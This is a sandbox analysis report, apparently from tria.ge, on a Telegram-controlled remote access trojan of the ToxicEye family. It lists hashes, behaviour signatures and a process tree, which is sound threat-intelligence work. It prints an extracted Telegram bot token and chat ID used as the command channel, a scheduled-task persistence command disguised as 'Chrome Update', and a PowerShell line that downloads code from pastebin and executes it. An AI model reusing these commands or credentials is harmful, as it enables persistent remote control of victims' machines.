Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
9s -
max time network
10s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241211-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
05/01/2025, 12:32
Errors
General
-
Target
TelegramRAT.exe
-
Size
119KB
-
MD5
47436ad8508cbdbede6535db163766bc
-
SHA1
c6c6f8eb7dac9f294da1547e30c320a7d316bf52
-
SHA256
43eca90ecc5958fd358a9240f31b1811ad2d01c6db10397cfd88e445ff8be5e0
-
SHA512
255a5618cf57a4930e08e02628bef7533289e2968fcf0d1db617447f7c04245978fc9d83c29247ffd9478a5428a3491a28458bcb2eb05efb0a4566ad43bf5a9c
-
SSDEEP
3072:gAWfRzlXCwwFwOwWAmm+G/bxqH8QW8zCrAZu/tM1:gAD1SWHe/bg/p
Malware Config
Extracted
toxiceye
https://api.telegram.org/bot7919388970:AAGC7fUBzVyMANzjN6bhRPjR0LNTw4C5Zlo/sendMessage?chat_id=8130842755
Signatures
-
Toxiceye family
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2934520114-3201407646-466687995-1000\Control Panel\International\Geo\Nation TelegramRAT.exe Key value queried \REGISTRY\USER\S-1-5-21-2934520114-3201407646-466687995-1000\Control Panel\International\Geo\Nation rat.exe -
Executes dropped EXE 1 IoCs
pid Process 548 rat.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 2956 tasklist.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Delays execution with timeout.exe 1 IoCs
pid Process 712 timeout.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4480 schtasks.exe 2556 schtasks.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 548 rat.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 548 rat.exe 548 rat.exe 548 rat.exe 548 rat.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2840 TelegramRAT.exe Token: SeDebugPrivilege 2956 tasklist.exe Token: SeDebugPrivilege 548 rat.exe Token: SeDebugPrivilege 548 rat.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 548 rat.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 2840 wrote to memory of 4480 2840 TelegramRAT.exe 84 PID 2840 wrote to memory of 4480 2840 TelegramRAT.exe 84 PID 2840 wrote to memory of 4868 2840 TelegramRAT.exe 86 PID 2840 wrote to memory of 4868 2840 TelegramRAT.exe 86 PID 4868 wrote to memory of 2956 4868 cmd.exe 90 PID 4868 wrote to memory of 2956 4868 cmd.exe 90 PID 4868 wrote to memory of 5000 4868 cmd.exe 91 PID 4868 wrote to memory of 5000 4868 cmd.exe 91 PID 4868 wrote to memory of 712 4868 cmd.exe 92 PID 4868 wrote to memory of 712 4868 cmd.exe 92 PID 4868 wrote to memory of 548 4868 cmd.exe 93 PID 4868 wrote to memory of 548 4868 cmd.exe 93 PID 548 wrote to memory of 2556 548 rat.exe 96 PID 548 wrote to memory of 2556 548 rat.exe 96 PID 548 wrote to memory of 3852 548 rat.exe 99 PID 548 wrote to memory of 3852 548 rat.exe 99 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\TelegramRAT.exe"C:\Users\Admin\AppData\Local\Temp\TelegramRAT.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "Chrome Update" /tr "C:\Users\ToxicEye\rat.exe"2⤵
- Scheduled Task/Job: Scheduled Task
PID:4480
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp9D69.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp9D69.tmp.bat2⤵
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 2840"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2956
-
-
C:\Windows\system32\find.exefind ":"3⤵PID:5000
-
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak3⤵
- Delays execution with timeout.exe
PID:712
-
-
C:\Users\ToxicEye\rat.exe"rat.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:548 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "Chrome Update" /tr "C:\Users\ToxicEye\rat.exe"4⤵
- Scheduled Task/Job: Scheduled Task
PID:2556
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c <powershell "irm "pastebin.com/raw/1nfKw4aY" | iex">4⤵PID:3852
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
188B
MD51f04548062cbc6b9a69a32c887bde930
SHA19d481fd4138f202f9a19fa3bc1c7ae96ff6224f2
SHA2567458e56f9d401c07b04df3422faa24f3337fcd6ec14632272832d0b202d3fee1
SHA512b22c87c1eca2df2c32d11294b856fc088febb2aca88d41ef19c330e4a3a4aaa68e256b5fda97b3afdc975ee7a9cac8957e742f70710253244cc95c98b5140f72
-
Filesize
119KB
MD547436ad8508cbdbede6535db163766bc
SHA1c6c6f8eb7dac9f294da1547e30c320a7d316bf52
SHA25643eca90ecc5958fd358a9240f31b1811ad2d01c6db10397cfd88e445ff8be5e0
SHA512255a5618cf57a4930e08e02628bef7533289e2968fcf0d1db617447f7c04245978fc9d83c29247ffd9478a5428a3491a28458bcb2eb05efb0a4566ad43bf5a9c